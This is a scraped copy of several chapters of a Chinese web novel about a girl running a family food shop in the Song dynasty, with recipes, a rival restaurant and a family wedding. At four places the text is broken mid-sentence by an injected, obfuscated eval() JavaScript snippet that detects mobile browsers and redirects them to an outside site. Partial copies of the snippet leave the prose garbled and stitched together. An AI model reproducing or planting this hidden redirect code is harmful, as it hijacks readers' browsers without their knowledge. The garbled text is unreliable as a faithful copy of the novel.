“这样的人当真是可恶！”大家不再说醉香楼，开始纷纷讨伐起小偷来。 卢晓晓到了后院。 “晓晓，你拦我做甚，就合该让大家知道那蟹酿橙是你做的，醉香楼堂堂大师傅，竟然偷着学人菜。”卢二郎还是愤愤不平。 “人也不能尽信咱们，没得还惹了麻烦。蟹酿橙学了便学了，只他们还做了炙鸭，二哥，你去醉香楼，看看这炙鸭如何卖的。”卢晓晓也生气，可没权没势就只能任人欺负。 醉香楼不是说进就进的，这吩咐也只卢二郎才办得成。 快晚食的时候，卢二郎换了身衣裳，又把头发整了整，才往醉香楼走，到了那也不往里进去，在外头看了好一会，才到了一卖签菜的摊子处，要了两串素签儿。 “哥哥，你这签菜做得可真好，我就没吃过恁好滋味的签儿。”卢二郎一边吃一边夸道。 “我做的羊头签才叫好呢，可要来两串尝尝？”摊主边忙活边笑着招呼道。 “哥哥说笑了，羊头签这等好东西哪是我能吃得起的呀！我在这能闻个香就知足了。”说罢也没再说话。 “弟弟是跟哪位官人来的？”摊主见卢二郎穿得齐整，人又机灵，问道。 “喏，就是刚进去的着着青色罗衫的赵大官人。” “赵大官人呐，那可是镇上的大户呀，弟弟可有福，能在他家做活。往日里倒不见赵大官人带人来。” “我是刚赁进他家的，还摸不清哪是哪呢！听说前些日子，大官人吃了个大醉，娘子好生恼怒，便让我今日来跟着大官人。”卢二郎压低声音道。 接着又道，“不瞒哥哥说，我午食都不曾吃何物，如今正是肚子空空，这街上卖的吃食贵得很，哥哥的两串素签儿真是救了我。” “哟，那你可要饿许久，不若你先去吃些东西。往日里，赵大官人不到亥时都不出来呢！”摊主出主意道。 “我可不敢，娘子可是说了的，让我跟住大官人，出了醉香楼就使轿子回府，哪都不让去。” 说话间，店里的小二来了，要了十串羊头签，十串肫掌签，十串蝤蛑签，再有鸡鸭鹅签若干，指名送到二楼的清香阁中。 摊主忙活了起来，刚做完，正要把东西送上去，便来了买签菜的客人。摊主心急去醉香楼送签菜，又丢不下摊子上的客人，左右张望想寻个闲汉送上去。 卢二郎见状道，“哥哥，若信得过我，便让我去送吧！左右我在这也无事，正想到醉香楼里见识见识呢！大门在这，哥哥也不用担心我跑了。回头哥哥再匀我两串素签填肚子就行。” “那有劳弟弟了，一共是四百六十二文钱，这碗一会儿拿回来。”说着将装满签菜的大碗递给了卢二郎。 卢二郎端着碗，大大方方地进了醉香楼，进去后环顾四周地打量了一番。 醉香楼是两层的铺子，楼下大堂是散座，靠里的正中设有一台子，台子上有一年轻姑娘正在唱曲，一老大爷在拉曲，台子的两侧是楼梯，楼上被分隔成七八间阁子。 卢二郎要去送签菜的清香阁，就在二楼东侧。 上了二楼，有一小二在阁子外候着，卢二郎把碗递了过去，躬了躬身，道，“有劳哥哥了，一共四百六十二文。” 小二端着碗进了去，卢二郎顺着门缝往里瞧了眼，里头一张八仙桌，上头赫然几个黄灿灿的大橙子。 又借着高处往楼下大堂瞧，只见许多桌上有盘卷饼样的菜，一头开口，能看见里面的肉片、瓜条，似是炙鸭卷，整整齐齐的码在盘子中，一盘约摸八九个。 小二拿了半贯钱出来，先撸下二十文钱，才给卢二郎。 “哥哥，听说醉香楼来了位汴京的大师傅，做的炙鸭可好吃了，不知道是怎么卖的？”卢二郎谄笑着打听到。 “你打听这干什么？”小二问道。 “我听说醉香楼卖的炙鸭好，便想在家母寿辰那日买上一只。”卢二郎又作憨直的模样。 小二上下打量了卢二郎一番，见这小子衣着朴素，便小声道，“我看你也不是个有钱的，这儿是按份卖的，一份便要五十文钱，不过十几片的肉。若是真想吃，我劝你到前面铜锣巷的卢记食坊买，只要一吊半钱，还送一份椒盐鸭架，吃得实惠。” 卢二郎有心再问上几句，阁子里的客人叫茶，小二赶忙提着水壶进去了。 一晚上卢二郎帮摊主往醉香楼里送了十几趟签菜，赵大官人出来的时候才跟着轿子离开，走出百余步绕道回了铺子。 见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14162554|146136||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 卢二郎回来，卢二娘子便要去灶房端吃食，卢二郎摆了摆手，道自己吃过了，又拎起桌上的茶壶倒了半碗茶，咕嘟嘟地灌了下去，才开口道。 “这醉香楼果然是在卖炙鸭，跟我们差不多，也是把炙鸭片成片儿后卷在饼里吃。一份五十文，有八个卷，若是一只便是三百文钱。虽说比咱家卖的贵，可也比楼里的其他菜卖得便宜，我见大堂里的散座，是每桌都点了。” 卢二郎停了停，又接着道，“蟹酿橙在大堂里倒是不怎么见，许是太贵了，我借着送签菜的机会上了楼，阁子里的客人有不少点了的。” “左右咱这铺子也卖不起螃蟹，不过这炙鸭咱可得小心了，前几日听元三爷说，醉香楼惯会用低价打压人。”卢晓晓思忖道。 这一边卢家人正紧张地商讨该如何应对，那一边，醉香楼的李师傅正得意的喝着小酒。 “李师傅，掌柜使小的来唤您。”前头来人道。 “成，我一会儿就过去，你先回去吧。”说罢话，李师傅也不着急起身，不疾不徐的把杯中酒喝完，又吃了几口菜，这才惦着肚子，慢悠悠地往柜台走。 此时醉香楼已打烊，掌柜的正在盘点今日的账目。 掌柜是汴京的东家派来的，李师傅则是当地的厨子，祖传的手艺，又得东家提拔，到汴京城里学过两年官菜。 “掌柜的，你唤我来何事？”李师傅大咧咧地坐到椅子上问道。 掌柜的见他坐的远，便从柜台前走了出来，又看了看周边无人，低声道，“那蟹酿橙不是你做出来的？” “你这是打哪听来的？” “今日宋管家来了，说那日宋府的寿宴上，卢记食坊的小娘子做的便是这道蟹酿橙。” “她个小娘子会做什么菜，这蟹酿橙的做法指不定是她偷听来的。这样的菜我要不做来卖，岂不是可惜了？再说了，我还把这做法改良了，帮这道菜发扬光大了呢！” “怪不得你快信给东家，说要卖炙鸭，还定了恁低的价格。这几日蟹酿橙和炙鸭都卖的不错。” “如今人人只道蟹酿橙是咱楼里出的，再过些时日，别人也只会觉得是那卢记食坊学了咱家的炙鸭。”李师傅得意道。 可李师傅没想到的是，有才之人就像了香味浓郁的吃食，那名气如香气般挡也挡不住。 到了第二日，卢晓晓一早便起来泡粉丝了，粉丝晶莹剔透，粗细均匀，卢大娘子的粉丝是越做越好了。 又把卢大贵从码头买回来的花甲放到清水中浸泡，加入适量的盐，泡上一个时辰，这样子花甲就会吐尽泥沙。 然后将姜切成碎末，蒜瓣切成蒜蓉，葱白、葱叶分开切碎，花甲焯水，然后将泡好的粉丝沥干水后铺于碟中，再将焯好水的花甲置于其上，加入姜末、蒜蓉、葱白，再淋入酱油，加上一小勺油，放入蒸笼中蒸上一刻钟。 花甲的鲜味合着蒜香从蒸笼中溢出，揭开蒸笼盖，花甲都开了口，香味更是浓郁。 到了午食，卢记食坊便多了道新菜，花甲蒸粉丝。 42. 成亲啦 转眼就到了卢大郎成亲的日子。 卢大贵夫妇提前两日回了杜家村，将屋子里里外外的打扫了一番，挂红布，贴红字，把屋子布置得喜庆极了，仍谁来见了都会觉得卢家对这门亲事满意极了。 卢家兄妹几人是前一日的傍晚回的村，卢晓晓和卢二郎把铺子打了烊，便驾着车接上卢三郎和卢大郎回了村。 到了家，又是炸丸子，又是做糕饼，还买了花生、瓜子，炒制成干货，几人忙到亥时才歇下。 到了成亲这日，一大早卢大郎穿着新做的红布衣裳，带着卢三郎，赶着骡子车往赵家村去，骡子身上绑了朵大红花，车上坐着两个吹鼓手。 到了赵家村口，吹鼓手便下了车，吹吹打打地进了村。 赵家的院子里已来了好些看热闹的村民，卢三郎把带来的糕饼派了派，分了花生瓜子，又替大哥做了诗，答了对子，这才把新娘子接上了车。 一路上吹吹打打地往回走，一道的还有赵杏花的二婶和妹妹。赵家村离着不近，等到了杜家村已过了午时。 卢大娘子早早就在门口等着了，端着一个簸箕，里面铺着块红布，上面盛着五谷、豆、钱、彩果。新娘子一下车，卢大娘子边说吉祥话边撒谷豆，看热闹的孩子们一窝蜂的上前争拾。 把新娘送进屋，卢春芬给几人端来了鲜肉馄饨，卢家兄弟和赵杏花平日在铺子里吃过不少，倒不觉得什么，可别人就不这么觉得了。 赵家二婶吃了一口，不由一惊，这家人的手艺竟是这样好，生意定是做的不错，大哥大嫂还这样小家子气做派。 两位吹打手，那更不用说了，忙了一个上午，早已经是饥肠辘辘了，两人是一个接一个的馄饨往嘴里送，舌头都要鲜掉了。 赵桃花吃了一口，爽滑的面皮，扎实的肉馅，突然间眼泪涌了上来，她可从来没吃过这样好的东西，眼泪滴落到碗中泛起涟漪，然赵桃花悄悄地抹掉眼泪，大口地吃起来。 真好呀，姐姐能过上这样的好日子，她也要努力过上这样的日子。 到了开席的时候，赵二婶与赵桃花坐到了主桌上，只见这菜如流水般的端了上来，荤的有炖鸡、烧肉、炸丸子，熏鱼、炒肝、鸭架汤，素的有炒白菘、拌凉皮、桂花藕，最后还有一碟子摆成花的烤鸭片，一大碗红艳鲜香的鲜虾粉丝煲。 赵家婶子不由地直咋舌，乖乖，这是做了多少好东西，这送亲还真是来对了，赵家那边的席面哪能吃到这许多菜。 “我一直说杏花能嫁到你们家是有福气的，我从没见过哪家喜宴能有这样多菜。亲家别笑我眼皮子浅，我这是高兴呀，高兴亲家看重我们家杏花。杏花这丫头，从小就不被她爹娘重视，到了待嫁的年龄又因为样貌好被蹉跎了婚事，看我这说到哪去了！总之啊，杏花这丫头是能干的，往后就托付给亲家了。”赵家婶子拉着卢二娘子的手絮絮地说道。 “看嫂子说的，杏花嫁入我们家，我们肯定会好好待她的，她能有您这样惦念她的婶子也是她的福气。嫂子今日多吃些，我们家是开吃食铺子的，就在镇上的铜锣巷里，嫂子若是有时间，来铺子里喝盏茶。”卢二娘子见赵家婶子说话漂亮又讲礼，也愿意结交。 “那我便托杏花的福认下这们亲戚了，往后我要是上门讨杯水喝，亲家可别嫌。” 赵二婶是自己来送亲的，往日里和杏花家来往不多，很是看不惯杏花爹娘磋磨女儿的行径。今日见赵家送亲的人只赵桃花一个小丫头，连个能寒暄张罗的人都没有，便主动坐上了车。 坐在旁桌的秀珠，见到主桌这边有说有笑，又想起自己的娘家，颇有些不是滋味。 卢春芳见嫂子筷子动得不欢，担心道，“嫂子，可是有不适？” “没事，就是肚里的孩儿动了动。”秀珠回道。 “嫂子让我摸摸吧！”卢春芳跃跃欲试，得到了秀珠的点头，便伸手摸了摸秀珠圆滚滚的肚子，边摸边说道，“小侄儿，快快长，等你出来了，就有好多好吃的了。” 大家都欢喜地吃着宴席。 与秀珠一样，有着异样心思的还有一个坐在边桌的青年人。这席上若是有那醉香楼的常客，便能一眼认出这是李师傅的徒弟。 李师傅的徒弟怎么会在这席上？这就得说到几日前卢记食坊卖的花甲蒸粉丝了。 出了花甲蒸粉丝后，卢记食坊又相继推出了鲜虾粉丝煲、虾蟹粉丝煲一系列粉丝菜品。 一时间，晶莹剔透、爽滑有嚼劲的粉丝成了卢记食坊的又一招牌菜，被醉香楼分流走的顾客又回来了。 这一下急坏了醉香楼的李师傅，这些个客人倒是不影响醉香楼的生意，可是他怎么能看卢记食坊名声渐起？ 北宋有凉粉，多作市井吃食，有用仙草、仙人草、凉粉草做的，也有用大米、豌豆做的，做法都是将原料磨成粉浆，熬至粘稠的汤汁后，凝固成块状，再以刀分食，可口感不如粉丝有韧劲，也没有丝状的。 李师傅照着做凉粉，做面条的法子试了好几回，都没试出来是如何做出粉丝的，急得连别人来请做席都不去了。 “叫我说，你跟这市井小铺较什么劲儿，她做她的，咱卖咱的，那糟货铺子、薛记馒头铺的味儿咱不也做不出来，也不影响咱生意呀！”醉香楼掌柜劝道。 “你不懂，糟货和馒头都是上不得台面的市井吃食，这卢记食坊做的，虽说不上是哪一派的官府菜，但是这用料、这味道、这品相都有官府菜的精髓，若是叫她出了头，咱往后可不好压她了。”李师傅来回踱步的焦虑道。 “我看你就是杞人忧天，这头可是那么好出的？你看上回在宋府做了道菜后，有谁找她做席吗？她连官席用几个杯几个盏都弄不清，不过会几道菜罢了。”掌柜的不屑道。 “你说的也是，是我被障了眼，李大官人的席面还是接下来吧！”李师傅应承道。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14174102|146136||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 又过了一会，李师傅还是觉得不妥，便叫来了自己的徒弟，对其耳语了一番。 李师傅的徒弟也姓李，是他的侄子。李徒弟听了师傅的吩咐，是日夜盯着卢记食坊，又将卢大贵每日买的东西都汇报给李师傅。 最后两人推测出这粉丝是在杜家村做的，李徒弟又扮做卖货郎，每日到杜家村看是哪家做的粉丝，今儿更是捡了几件货担里的东西做贺礼，坐到了这席上。 看着这席上一大锅的鲜虾粉丝，李徒弟确定了，这粉丝是村西边的卢二伯家做的，今天只有他家给卢大贵家送了菜。 可如何从卢二伯家打听出粉丝的做法，这又让李徒弟犯了难，初到村里的时候，他便找卢二伯家探听过消息，可这家人的嘴都严实得很，什么都不透露。 不过，今日这席面没白来，叫他见着了秀珠，卢家人嘴严没办法，那就得试着从他家媳妇着手了。 李徒弟的小心思是谁也不知道。 吃完席，大家又一起去看新娘子。赵杏花不愧是十里八乡出名的美人，红色的嫁衣更是撑着她人比衣艳，人人都道卢大郎好福气。 等到人散了，卢二娘子使卢二郎两兄弟把赵家婶子和赵杏花送了回去，又给两人装了好些未吃完的好菜。 春芬、春芳两姐妹留下来帮忙收拾，卢大郎则被打发去了新房。 卢大郎看着与往日不一般的赵杏花，内心有种不真实感，从今日起，他就是有媳妇的人了。 往日里是能说会道的人，今日却成了个锯嘴葫芦。 “你站那干嘛呢？”赵杏花嗔道。 “你可吃好了？刚刚忙着招呼客人，没顾上你。”卢大郎赶忙问道。 “吃好了，晓晓端了好些菜来，不得不说，咱妹妹这手艺真是好。” “那是，要不然咱家也开不成吃食铺子。”卢大郎得意道。 接着又道，“你在这坐会儿，我去给你端盆热水来，洗洗脸。” 说罢，又转身出去了。若是仔细看，便能发现卢大郎耳朵尖都红了。 等两人洗漱好，便歇下了，有道是“洞房花烛夜，燕余双舞轻。” 到了第二日，卢晓晓兄妹几人一早便回了镇上，开铺的开铺，上学的上学，老宅里只留了卢大贵夫妇和卢大郎这对新婚夫妻。 赵杏花不到辰时便起身了，到了灶房，卢二娘子正在烧水，见了她，道，“你怎么就起来了，新婚第一日要多歇歇。” “我什么都没干，倒是娘和弟弟妹妹们忙了一日，今日一大早又起来忙活了，我哪里还睡得着，娘你歇着吧，这活我来干。”说罢，接过了卢二娘子的活。 “也好，我这做饭的手艺差的很，刚才还担心第一日便要你吃得不好了。”卢二娘子笑道。 “晓晓这样厉害，娘怕是谦虚了。” “往后你问大郎便知道了，趁着这会儿，我给你说说卢家有哪些人吧。” 43. 茶叶蛋 一大早，卢二郎就驾着车带着卢晓晓、卢三郎、还有卢春芬回到了镇上。 先把卢三郎送到学堂，又把卢晓晓和卢春芬送到铺子，然后顺着卢大贵往日取食材的路线，先取鸭子，再取猪肉，后取活鱼，把这些送回铺子后，又到码头买花甲、鲜虾，回来又不停歇地杀鱼宰鸭，好不忙碌。 堂姐妹两则忙着和面、擀面皮、炖肉、调馅、制熏鱼，忙活到巳时铺子才开门。 等开了门，卢春芬买起了早食，卢晓晓则有别的事忙。 昨日家中有喜事，等卢大郎这对新人回到镇上，便要给人派喜蛋，卢晓晓打算煮锅香喷喷的茶叶蛋。 先是将一个个的鸡蛋洗净，烧开一锅水，用勺子把鸡蛋下入沸水中，煮上半刻钟便捞起，浸入凉水中。此时鸡蛋的蛋黄刚凝固，不嫩不老，一热一冷使蛋白与蛋壳分离。 待鸡蛋放凉后，用手按着鸡蛋，在案板上轻轻一滚，鸡蛋壳就碎成了小片，再将碎壳的鸡蛋放入锅中，加入高出蛋面两指的红曲米水，放入盐、酱油，再放入麻椒、香叶少许，最后加入两勺细碎的茶叶，盖上锅盖，大火煮沸，然后改为小火慢煮。 茶叶是卢晓晓去买的茶叶渣子，选的耐泡、味浓的红茶。 茶料汤咕嘟嘟的在锅中翻滚沸腾，不一会儿，茶叶的清香和香料的浓香便交织着漂到了铺子里。 有那鼻子灵的客人吸了吸鼻子，忍不住问道，“小娘子，这后厨在煮什么呢？闻着不似红烧肉，好似多了一股子茶香。” “大爷，您这鼻子真是顶呱呱的，这都让您闻出来了，昨日家中有喜事，小掌柜说寻常喜蛋的味道太寡淡了，正在做茶叶蛋呢！”卢春芬回道，手中包馄饨的活计也没慢下来。 卢春芬说的小掌柜便是卢晓晓，有客人见卢晓晓一个小娘子张罗里张罗外的，便称她小掌柜，卢家人也跟着叫了。 “茶叶还能用来煮蛋呢，你们小掌柜的想法才是顶呱呱，这茶叶蛋什么时候能吃上啊？”客人又问道。 “需得中午了，中午您再来，保管您吃上香喷喷的茶叶蛋。”卢晓晓正好从后院来了铺面。 “哈哈，小娘子是把老头子的午食都安排好了。”客人笑道。 卢晓晓跟客人们问了好，又给大家说自家哥哥昨日和赵小娘子成了亲，等回到铺子，就给大家派喜蛋，来店里吃午食和晚食的客人都能分到一只茶叶蛋。 客人们纷纷道喜，只等着午食的时候再向两位新人送上祝福。 又说杜家村，卢二娘子几人吃过早食，便领着赵杏花去了卢二伯家，拜尊长，见亲戚。 卢家人口不多，长辈给的礼都实在。卢爷爷给了一个红封，里面装着颗银锞子，卢大娘子给了一块浅绛色的绢布，秀珠给了块头巾。 赵杏花给卢爷爷、二伯、二伯娘，各做了双袜子，又给秀珠、春芬、春芳各准备了一块帕子。 双方见过礼，方坐下闲话家常。 “你俩成亲了，便是一家人了，往后要一条心，凡事都要有商有量的，日子才会越过越好。”卢爷爷叮嘱道。 “谢过爷爷的教诲，孙儿会谨记于心的。”卢大郎恭敬地应道。 赵杏花连连点头，跟着笑着说道，“我们做小辈的，经事不多，往后多赖爷爷、爹、娘、伯伯、伯娘提点了。” 赵杏花本就是明艳大气的长相，这一笑又带着几分乖巧，更是灿若桃花，叫长辈们看着欢喜。 “看这丫头，真会说话，你若拿不定的事，尽可找你娘，你娘顾不上，还有二伯娘呢！再不济，咱全家一道想法子。”卢二伯娘亲热道。 秀珠听了，不知想到了什么，眉头紧了一紧，手指下意识的扣进掌心中。 “侄媳妇先谢过伯娘了，往后伯娘千万别嫌我烦。”赵杏花语气亲昵。 两人又说了好些话，亲热的好似母女。不得不说，有些人天生就有让人心生亲近的魅力，赵杏花便是这样的人。 又聊了几句，几人就告辞回了镇上，近午时到的家。 赵杏花的东西不多，只一个不大的包袱，里头装着几件薄衣服。娘家不叫她拿走冬天的厚袄子，说是到了婆家自会有新的。 几人到了铺子，客人纷纷道喜。 “原来赵小娘子就是掌柜家的新媳妇呀！一家子齐心，怪不得铺子经营得这样好。”有客人夸道。 “那也多得各位客人的捧场，铺子里也没有什么好东西，今日煮了些茶叶蛋，让大家沾沾喜气。”卢晓晓说罢把煮好的茶叶蛋端了出来。 卢大郎和赵杏花一桌桌的给人送鸡蛋，说吉利话，收获了一箩筐的祝福。 红艳艳的鸡蛋散发出浓郁的茶香，剥开外壳，蛋白也染上了颜色，咬一口，咸鲜入味，还带有茶叶的清香。 “小娘子，这茶叶蛋真香，可有卖的？” “今日准备得不多，都是留来送客的，明日便有卖的了。”卢晓晓欣然回道。 有人买便有人卖。 卢大郎告了一日半的假，派了鸡蛋，又在家中囫囵地吃过午食，便包了几个茶叶蛋，回了书肆。 其他人各司其职地忙碌起来。赵杏花招呼客人，卢二娘子把买菜收钱的活接了过来，卢晓晓见茶叶蛋剩的不多，回了后厨，准备再煮一锅茶叶蛋。 “做吃食的小娘子可在铺子？” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14192108|146136||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来人问道。 “宋管事来了？您先坐会儿，小掌柜在后头忙活，这便去把她叫来。”赵杏花一边说一边给宋管事倒茶，又唤正好来上菜的卢二郎去叫人。 接着又给宋管事端了两个茶叶蛋，道，“宋管事来得巧，昨日是妾身与卢家大郎成亲的日子，小掌柜特地煮了茶叶蛋送客人，盼宋管事赏脸尝一尝。” “茶叶竟也能煮鸡蛋，小娘子的想法果然是妙。”宋管事剥了颗鸡蛋放入口中，茶香浓郁，很是合口味。 铺子里的客人见了，不免嘀咕，这不是宋府的大管事吗？铺子竟跟宋府还有往来。 卢二郎悄悄地撇了撇嘴。这人眼见醉香楼昧了晓晓的赏赐，窃了晓晓的菜谱，却半句公道话都不说。 听说宋管事来找，卢晓晓忙擦了擦手，把茶叶蛋交给卢二郎。如今卢二郎已经能基本掌握火候，也能做一些简单的菜了。 “宋管事来了，真是有失远迎了。”卢晓晓快步走来，开口寒暄道。 “上回老太太寿宴，您贵人事忙，没能跟您道声别。不知宋管事今日找小女何事？”卢晓晓给宋管事添了茶才坐下。 “老太太上回吃了小娘子做的菜，很是满意。这几日天气寒凉，老太太胃口不好，惦念着上回做的蒸蛋。老爷便想使小娘子再到府里做几道菜。” 醉香楼昧下了卢晓晓的赏赐，这可真怨不着宋管事，老太太吃高兴了要赏赐做席的大师傅，他也不能打断说，老太太，您吃着最好的两道菜不是李师傅做的。 “不知是何时候？是只给老太太做几道菜，还是做顿吃食？”卢晓晓问道。 “明日午食可行？做几道菜和做顿吃食又有什么讲究？” “吃食讲究搭配，搭配好了，能调理肠胃，若是只做几道菜，那只能吃个味好。” “既是这样，那就都由小娘子做主了。” “晚些我便将食材单子送到府上。” 这一次，卢晓晓定好在老太太眼前好好露露脸。 宋掌柜和卢晓晓的说话声不大也不小，等宋掌柜离开，铺子里的客人都知道了宋府的老太太都找卢晓晓做吃食，直夸她手艺好。 卢晓晓谢过大家的赞，又回后厨煮茶叶蛋去了。 卢二郎见她回来，问道，“晓晓，宋管家找你何事？” “叫我过去给老太太做吃食呐。”卢晓晓一边给鸡蛋破壳，一边答道。 “你可答应了？他们会不会又想盗你菜谱？”卢二郎急道。 “答应啦，这回儿，定不会再让别人贪了我们功劳了，二哥放心吧！”卢晓晓自信满满道，这回保管让老太太又满意又记住她卢晓晓。 44. 粥底火锅 煮好茶叶蛋，卢晓晓便开始准备明日到宋府要做的吃食，既想要老太太吃得满意，那就得让她吃得舒坦。 老太太胃口不好，多是因为年纪大了，肠胃不好了，也有天气的原因，这几日秋意正甚，早晚越发的凉了。 知道了原因，那便好办了。肠胃不好，就做清淡的、好克化的，天气凉了，那就做热气腾腾的。老太太还喜欢吃螃蟹，螃蟹性凉不宜多食，吃些虾贝应也不错。 卢晓晓决定明日做顿粥底火锅，秋冬喝粥最是养胃，以浓稠雪白的毋米粥为汤底，依次涮入海鲜、肉类、蔬菜，又鲜又嫩。 何为毋米?即为无米。毋米粥有米不见米，看是一锅晶莹洁白、米香四溢的清粥，吃起来却不见米粒。 卢晓晓将明日配火锅的涮菜列成单子，拿到了宋府，一起拿去的还有一包喷香的茶叶蛋。 然后与宋管事一起，就宋老太太的喜好改了涮菜单子，商定好明日到府上的时间，又跟宋管事说了锅具和炉具的要求。 这一番讨论下来，把宋管事都说饿了，回去后，吃了好几颗茶叶蛋。 卢晓晓回到铺子，铺子里只剩三两个客人，卢二郎把晚食做好了。 不得不说，卢二郎是有天赋的。不过十几日工夫，做起吃食也像模像样了，比做了十几年饭菜的卢二娘子都强。 这是赵杏花入门后，第一次全家人一道吃饭。连着忙了两天，大家终于能松快地坐下来吃顿饭了。 “杏花，今早匆忙，给你再正式介绍下家里的人，晓晓和二郎往日都在铺子里，你是熟悉的，三郎如今在镇上的学堂读书，你见得不多。”卢二娘子说道。 几兄妹纷纷叫嫂子，赵杏花依次跟几人打了招呼，又笑道，“弟弟妹妹们都这样有本事，能当你们嫂子，真是我的福气了。” “嫂子这样漂亮能干是我哥的福气。”卢晓晓打趣道。 “饭菜该凉了，快吃饭吧。”卢大郎转移话题道，嘴角却止不住地向上扬。 “来来来，边吃边说，今儿二郎做的饭菜，咱都好好尝尝，做好了往后就是咱铺子的大厨了。”卢二娘子招呼道。 “嫂子，快尝尝我二哥的手艺，他刚刚在灶房可得意了，说做的这酸菜鱼比起我做的是半点不差。你快来评一下。” “我吃着都觉得好吃的很，你们都是有天份的，不像我，做菜就只会水煮。”赵杏花腼腆地笑道。 “你看看，我就说我做得好吧，嫂子都说好。”卢二郎冲卢晓晓扬了扬头，得意道。 “你嫂子跟你客气呢，叫我说你还得多努力。”卢二娘子笑道。 “我也觉得比姐姐还差不少呢，二哥再加把劲，往后咱家铺子可就靠你这个大师傅了。”卢三郎一本正经地鼓励。 “看看吧，都说你不如我呢！” 赵杏花见几人说说笑笑的样子，愣了愣神，她知道卢家疼女儿，往日里也见过卢晓晓在铺子里做主拿事的样子，可如今才真切地感受到卢晓晓在家有多受宠。 “我看二郎离晓晓也还远着呢。”卢大郎也附和道，然后很顺其自然地给赵杏花夹了菜。 赵杏花回了神，下意识地看了看卢大郎，然后不由地笑了，真好，以后她也有人宠了。 第二天，天未亮，卢晓晓便起身了，开始准备做毋米粥用的米，选粘糯清香的新米，淘洗干净，沥干水分，放入石臼中轻擂，将米粒碎成几瓣，加入少量菜油和盐拌匀后，装入罐中。 然后便去了宋府，宋管家提前交待了看角门的婆子，卢晓晓扣了门，很快就有人将她带了进去，还是先前的小厨房，卢晓晓走了两回，已经识得路了。 到了厨房，卢晓晓先是将瓦罐中腌制过的米碎倒入大瓦煲中，加入清水和大骨熬制的高汤，大火熬上两个时辰，直到大米软烂，水米交融。 熬粥的时候，卢晓晓便开始处理涮菜的食材，海鲜有基围虾、生蚝、贝壳，肉类有鲈鱼、猪肉、一小块鲜牛肉，蔬菜有芹菜、白菘、萝卜，还有一小捧山菇。 卢晓晓先将猪肉剁成肉馅，然后芹菜切段，加入肉馅中剁匀，再用筷子顺时间搅拌肉馅上劲，又用手反复摔打肉馅，直至粘稠，团成小球，做成芹菜猪肉丸。 接着处理牛肉，宋府准备的牛肉看起来肉质鲜嫩，适合直接涮着吃，卢晓晓顺着机理将牛肉切成片，再加入酱油、味精、油，腌制入味。 然后又将鲈鱼片成片，萝卜滚刀切成块，白菘切成丝，山菇洗净。 最后处理海鲜，先将基围虾去头去壳去虾线，然后将贝壳、生蚝撬开，把肉取出，用面粉清洗干净。 把涮菜都处理好，粥也快熬好了，打开盖子，只见粥水沸腾着一层层往外翻，宛如一朵盛开的牡丹花，从花心舀起一勺粥水，浓稠雪白，不见米粒。然后将粥倒入筛子中，筛去米粒，只剩粥水，这毋米粥才算熬制好了。 粥熬好了，菜备好了，也到了午食的时候。宋管事叫了几个丫鬟、婆子，将准备好的食材端到了宋老太太的院子。除了食材，还有一锅毋米粥、一口炉子、一张中间有孔的桌子。 往来的仆人们看见了，都好奇的探头看。 老太太的膳厅里，宋老爷和宋连玉正陪着老太太说话。听说卢晓晓要给老太太做新鲜吃食，两人便都要来瞧一瞧。 “老太太、老爷、少爷，这是卢记食坊的小娘子。”宋管事禀报道。 老太太对卢晓晓招了招手，道，“上前几步让我看看，竟是这样的小，若不是管事的说，我都不知道那日的蒸蛋和赛螃蟹是个小姑娘做的。今日是做的什么吃食？” 卢晓晓向前走了两步，微低着头，恭恭敬敬地答道，“回老太太的话，今日做的粥底火锅，是以粥水做汤，将食材烫熟后食用，现吃现烫，最是新鲜热乎。” “这吃法可新鲜，那便开始吧！”老太太吩咐道。 丫鬟婆子鱼贯而入，宋管事使人把桌子支好，炉子点好，再把锅子放上，又将一碟碟的涮菜在锅边摆了一圈。 宋家祖孙三人见这架势，好奇极了。 卢晓晓站到涮桌前，轻轻的搅动粥底，待粥水重新咕嘟咕嘟的冒泡，盛出三碗粥。 “老太太、老爷、少爷，这粥底火锅讲究喝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14214813|146136||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 三碗粥，第一碗粥便是餐前的养胃粥，餐前喝完粥水可以适当饱腹，又可以润肠养胃。” 